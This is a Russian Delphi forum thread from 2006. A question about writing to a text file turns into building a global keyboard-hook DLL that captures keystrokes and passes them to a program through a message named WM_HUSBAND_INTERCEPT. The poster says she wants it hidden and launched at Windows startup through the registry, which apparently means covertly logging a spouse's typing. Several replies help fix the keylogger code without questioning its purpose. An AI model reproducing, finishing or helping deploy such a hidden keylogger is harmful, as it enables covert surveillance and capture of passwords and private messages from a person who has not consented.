![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Запись в текстовый файл [D7, WinXP]
Tanya © (2006-07-26 21:33:00)Что-то я никак не пойму почему не работает запись в файл... Делаю я так:
var
F: TextFile;
при запуске программы:
AssignFile(F, 'file.dat');
if FileExists('file.dat') then
Append(F)
else
Rewrite(F);
при закрытии программы:
CloseFile(F);
во время работы программы в определенные моменты файл постоянно дополняется новой строкой(ами):
WriteLn(F, 'test');
Файл создается если его нету, но вот почему в него не записывается ничего я не пойму...((( В блокноте открываю его, а там пусто...((( Мастера, подскажите пожалуйста..
Tanya (2006-07-27 13:49:00) [41]Чапаев, это из за того что RegisterWindow[s]Message()не используем? Или из за чего?
Чапаев (2006-07-27 13:48:00) [42]
> Правда не работает...(((
Указатели между программой и библиотекой передавать не удастся. Точнее, не удастся с ними работать. ;-) Или используй сообщение WM_COPYDATA, или смотри в сторону file mapping.
Tanya (2006-07-27 13:41:00) [43]Правда не работает...(((
Чапаев (2006-07-27 13:38:00) [44]
> procedure TForm1.WMHusbandIntercept(var Message: TMessage);
>
> var
> sText: PChar;
> begin
> ?????????????????????????????
> Memo1.Lines.Add(sText);
> end;
sText:=PChar(Message.LParam);
Только имхо работать не будет.
Tanya (2006-07-27 13:35:00) [45]Я не очень понимаю как обрабатывать это сообщение в программе, как вытащить из сообщения текст?
Передача в библиотеке:
SendMessage(HWND_BROADCAST, WM_HUSBAND_INTERCEPT, 0, Longint(pTransChar));
Прием в программе:
private
procedure WMHusbandIntercept(var Message: TMessage); message WM_HUSBAND_INTERCEPT;
...
procedure TForm1.WMHusbandIntercept(var Message: TMessage);
var
sText: PChar;
begin
?????????????????????????????
Memo1.Lines.Add(sText);
end;
Чапаев (2006-07-27 13:30:00) [46]
> Tanya (27.07.06 13:26) [46]
Вообще-то лучше вызывать RegisterWindow[s]Message().
Tanya (2006-07-27 13:26:00) [47]Идею поняла, а вот это сообщение:
const
WM_HUSBAND_INTERCEPT=WM_USER+117;
и в программе и в библиотеке прописать как константа?
tesseract (2006-07-27 13:20:00) [48]забыл про эту фишку.
заводишь новое сообщение WM_HUSBAND_INTERCEPT=WM_USER+117 например, и вместо хэндла окна шлёшь на HWND_BROADCAST.
Остальные приложения твоё сообщение проигнорируют.
Чапаев (2006-07-27 13:12:00) [49]А с записью в файл изнутри хука таки були проблемы... В их причинах так и не разобрался.
Чапаев (2006-07-27 13:11:00) [50]
> Можно ли сделать какнибудь чтобы не прокисали? ))) Я просто
> хочу сделать ее незаметной, функции из библиотеки прописать
> на события запуска и выключения Windows-а в реестре..
Зачем велосипед изобретать? System log давно придуман и успешно действует...
Ещё я бы смотрел в сторону App_InitDLL, хотя это и жестоко. ;-)
Tanya (2006-07-27 13:07:00) [51]Попробовала передавать в программу сообщением, так вот хендл окна программы тоже получается что хранится в глобальной переменной..((( Так как я сделала не работает..((( Мастера подскажите пожалуйста что не так:
Библиотека:
var
SysHook: HHook = 0;
RecHandle: Hwnd = 0;
function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall;
var
ModuleFileName: array[0..MAX_PATH-1] of Char;
KeyBS: TKeyboardState;
pTransChar : PChar;
begin
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
begin
GetKeyBoardState(KeyBS);
GetMem(pTransChar, 3);
ToAsciiEx(wParam, 0, KeyBS, pTransChar, 0, GetKeyboardLayout(0));
GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName));
SendMessage(RecHandle, WM_COPYDATA, 0, Longint(pTransChar));
FreeMem(pTransChar);
Result := 0;
end
else
Result := CallNextHookEx(SysHook, nCode, wParam, lParam);
end;
procedure RunHook(AppHandle: Hwnd); export; stdcall;
begin
RecHandle := AppHandle;
SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0);
end;
Программа:
private
procedure WMCopyData(var Message: TWMCOPYDATA); message WM_COPYDATA;
...
procedure TForm1.WMCopyData(var Message: TWMCOPYDATA);
var
sText: PChar;
begin
StrLCopy(sText, Message.CopyDataStruct.lpData, Message.CopyDataStruct.cbData);
Memo1.Lines.Add(sText);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if Button1.Caption = 'Run' then
begin
Button1.Caption := 'Stop';
RunHook(Form1.Handle);
end
else
if Button1.Caption = 'Stop' then
begin
StopHook;
Button1.Caption := 'Run';
end;
end;
tesseract (2006-07-27 12:09:00) [52]
> Slym © (27.07.06 12:05) [40]
Если не три клавы, то наверное проблем быть не должно.
Хотя кто знает. открыть можно для совместной записи :-)
Slym (2006-07-27 12:05:00) [53]tesseract © (27.07.06 10:46) [39]
Но ты подходил с позиции прокисшего хендла, а я с позиции незащищенного многопоточного доступа к неразделяемому ресурсу
tesseract (2006-07-27 10:46:00) [54]
> Slym © (27.07.06 09:23) [36]
три раза говорил про это.
isasa (2006-07-27 10:34:00) [55]Slym © (27.07.06 09:22) [35]
Slym © (27.07.06 09:23) [36]
Если в потоке(процедуре SysMsgProc) его открывать, и после записи закрываь, что, скорее всего надо делать, все будет хорошо.
Кстати, данные какого потока загружены в данный момент
var
F: TextFile;
SysHook: HHook = 0;
код один, а данные у каждого свои.
Ditrix (2006-07-27 09:47:00) [56]>>-=Germe$=- © (27.07.06 07:14) [32][34]
>>Зря... Оно так и работает... Иди поучи паскаль....
убил! :-)
imho орешника достойно
Slym (2006-07-27 09:23:00) [57]Решение:
один поток с доступом к файлу, это может быть приложение устанавливающее хук
Slym (2006-07-27 09:22:00) [58]Кстати ни кто даже не предположил что доступ к файлу получится многопоточный :(
1. если один раз открыть файл в dll то писаться может чушь
2. если каждый раз открывать файл в dll то в прекрасный момент он может не открыться, т.к. уже захвачен в др. потоке
-=Germe$=- (2006-07-27 07:14:00) [59]
> Рассмешил с утра, спасибо :)
Зря... Оно так и работает... Иди поучи паскаль....
Джо (2006-07-27 06:57:00) [60]> [32] -=Germe$=- © (27.07.06 06:47)
> Вы вообще о чем?? Как текстовый вайл может иметь расширение
> .dat оно обязательно должно иметь расширение .txt
Рассмешил с утра, спасибо :)